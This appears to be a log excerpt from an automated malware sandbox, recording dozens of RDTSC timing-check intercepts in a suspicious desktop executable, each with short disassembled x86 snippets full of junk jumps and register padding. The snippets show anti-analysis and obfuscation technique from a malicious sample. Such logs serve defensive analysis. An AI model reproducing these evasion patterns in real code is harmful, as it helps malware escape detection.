Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0127 second address: 47D0190 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA34CE69A28h 0x00000008 adc si, 26C8h 0x0000000d jmp 00007FA34CE69A1Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [ebp-04h], 55534552h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FA34CE69A1Bh 0x00000026 or ax, E50Eh 0x0000002b jmp 00007FA34CE69A29h 0x00000030 popfd 0x00000031 mov ax, A217h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0190 second address: 47D0196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0E70 second address: 47D0E88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0E88 second address: 47D0E9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA3BDE24385h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0E9C second address: 47D0EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0EA0 second address: 47D0EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0EA4 second address: 47D0EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0EAA second address: 47D0EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47D0EB0 second address: 47D0EC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0142 second address: 47E019F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov esi, 02771CC3h 0x00000011 mov cx, C21Fh 0x00000015 popad 0x00000016 je 00007FA3BDE0B02Fh 0x0000001c jmp 00007FA34CB66822h 0x00000021 cmp dword ptr [ebp+08h], 00002000h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007FA34CB6681Dh 0x00000030 movzx eax, bx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C4A second address: 47E0C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C4E second address: 47E0C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C52 second address: 47E0C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C58 second address: 47E0C7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB6681Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA34CB66820h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C7E second address: 47E0C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C82 second address: 47E0C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0C88 second address: 47E0CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ch 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dh, C9h 0x0000000c mov edx, esi 0x0000000e popad 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA34CE69A23h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0CAE second address: 47E0D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA34CB6681Fh 0x00000009 add al, 0000003Eh 0x0000000c jmp 00007FA34CB66829h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FA34CB66820h 0x00000018 and ecx, 47F3CF38h 0x0000001e jmp 00007FA34CB6681Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 xchg eax, esi 0x00000028 jmp 00007FA34CB66826h 0x0000002d push eax 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FA34CB66821h 0x00000035 and si, 4086h 0x0000003a jmp 00007FA34CB66821h 0x0000003f popfd 0x00000040 pushad 0x00000041 mov si, F90Dh 0x00000045 mov edi, eax 0x00000047 popad 0x00000048 popad 0x00000049 xchg eax, esi 0x0000004a jmp 00007FA34CB66824h 0x0000004f mov esi, dword ptr [ebp+0Ch] 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FA34CB66827h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0D80 second address: 47E0D94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov di, A9F6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test esi, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0D94 second address: 47E0D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0D98 second address: 47E0D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0D9C second address: 47E0DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0DA2 second address: 47E0E56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA34CE69A27h 0x00000008 pushfd 0x00000009 jmp 00007FA34CE69A28h 0x0000000e and eax, 4006FD78h 0x00000014 jmp 00007FA34CE69A1Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d je 00007FA3BE116FE3h 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FA34CE69A24h 0x0000002a or ecx, 670E97D8h 0x00000030 jmp 00007FA34CE69A1Bh 0x00000035 popfd 0x00000036 mov esi, 58CDEE8Fh 0x0000003b popad 0x0000003c cmp dword ptr [75AF459Ch], 05h 0x00000043 jmp 00007FA34CE69A22h 0x00000048 je 00007FA3BE12F076h 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FA34CE69A27h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0E56 second address: 47E0E5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0E5C second address: 47E0E90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007FA34CE69A28h 0x00000012 adc ah, FFFFFFF8h 0x00000015 jmp 00007FA34CE69A1Bh 0x0000001a popfd 0x0000001b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0E90 second address: 47E0EBD instructions: 0x00000000 rdtsc 0x00000002 call 00007FA34CB66828h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov eax, ebx 0x0000000d mov ecx, ebx 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0EBD second address: 47E0EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0EC1 second address: 47E0EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0EC5 second address: 47E0ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0ECB second address: 47E0F01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA34CB66829h 0x00000009 and cx, 07A6h 0x0000000e jmp 00007FA34CB66821h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0F28 second address: 47E0F2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0F7D second address: 47E0F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0F81 second address: 47E0F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 47E0F85 second address: 47E0F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, 9Bh 0x00000008 popad 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov edx, 55FC6F98h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5B3E430 second address: 5B3E434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB39D1 second address: 5CB39D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB39D9 second address: 5CB39F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CE69A25h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB39F4 second address: 5CB39F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB3FB5 second address: 5CB3FDA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FA34CE69A2Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB3FDA second address: 5CB3FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB3FE0 second address: 5CB3FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB3FE4 second address: 5CB3FFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jc 00007FA34CB6681Ah 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB4179 second address: 5CB4186 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB7609 second address: 5CB7657 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA34CB66818h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FA34CB66821h 0x00000013 push edi 0x00000014 jmp 00007FA34CB6681Ch 0x00000019 pop edi 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007FA34CB66820h 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 jns 00007FA34CB66816h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB7657 second address: 5CB765C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB76E2 second address: 5CB76E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB76E6 second address: 5CB779E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FA34CE69A2Eh 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FA34CE69A18h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov di, cx 0x0000002e push 00000000h 0x00000030 mov edx, dword ptr [ebp+122D3A08h] 0x00000036 push 103EA214h 0x0000003b jmp 00007FA34CE69A1Ah 0x00000040 xor dword ptr [esp], 103EA294h 0x00000047 push ecx 0x00000048 call 00007FA34CE69A23h 0x0000004d mov dword ptr [ebp+122D3428h], edi 0x00000053 pop esi 0x00000054 pop edi 0x00000055 push 00000003h 0x00000057 xor dword ptr [ebp+122D2C18h], edx 0x0000005d push 00000000h 0x0000005f push 00000003h 0x00000061 mov esi, dword ptr [ebp+122D39ECh] 0x00000067 call 00007FA34CE69A19h 0x0000006c push esi 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007FA34CE69A1Ch 0x00000074 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB779E second address: 5CB77BE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007FA34CB6681Eh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB77BE second address: 5CB781A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA34CE69A1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jg 00007FA34CE69A18h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push edx 0x00000018 jmp 00007FA34CE69A24h 0x0000001d pop edx 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007FA34CE69A1Eh 0x00000029 jmp 00007FA34CE69A24h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB781A second address: 5CB7820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB7820 second address: 5CB7824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB7824 second address: 5CB7842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA34CB66820h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB7842 second address: 5CB784C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA34CE69A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CB790E second address: 5CB7933 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, ACCEh 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D347Ch], ebx 0x0000001a push E7D6352Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 push eax 0x00000023 pop eax 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD6291 second address: 5CD6297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD6297 second address: 5CD629F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD629F second address: 5CD62A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD6763 second address: 5CD6786 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jmp 00007FA34CB6681Dh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007FA34CB6683Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007FA34CB66816h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD68B5 second address: 5CD68CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA34CE69A1Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD7144 second address: 5CD7161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD7161 second address: 5CD7169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD72A0 second address: 5CD72AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA34CB66816h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD72AC second address: 5CD72B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD72B1 second address: 5CD72C0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA34CB6681Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD72C0 second address: 5CD72C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5C9B2C2 second address: 5C9B2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5C9B2C6 second address: 5C9B2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD7567 second address: 5CD756E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDA889 second address: 5CDA8A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007FA34CE69A16h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDA8A1 second address: 5CDA8CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66822h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA34CB66821h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDA8CD second address: 5CDA8ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA34CE69A28h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDA8ED second address: 5CDA8FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDA8FE second address: 5CDA902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDA902 second address: 5CDA908 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDA908 second address: 5CDA90D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CD97FE second address: 5CD981C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66826h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDAA56 second address: 5CDAA79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDAA79 second address: 5CDAA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDABC1 second address: 5CDABC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: 5CDF275 second address: 5CDF279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
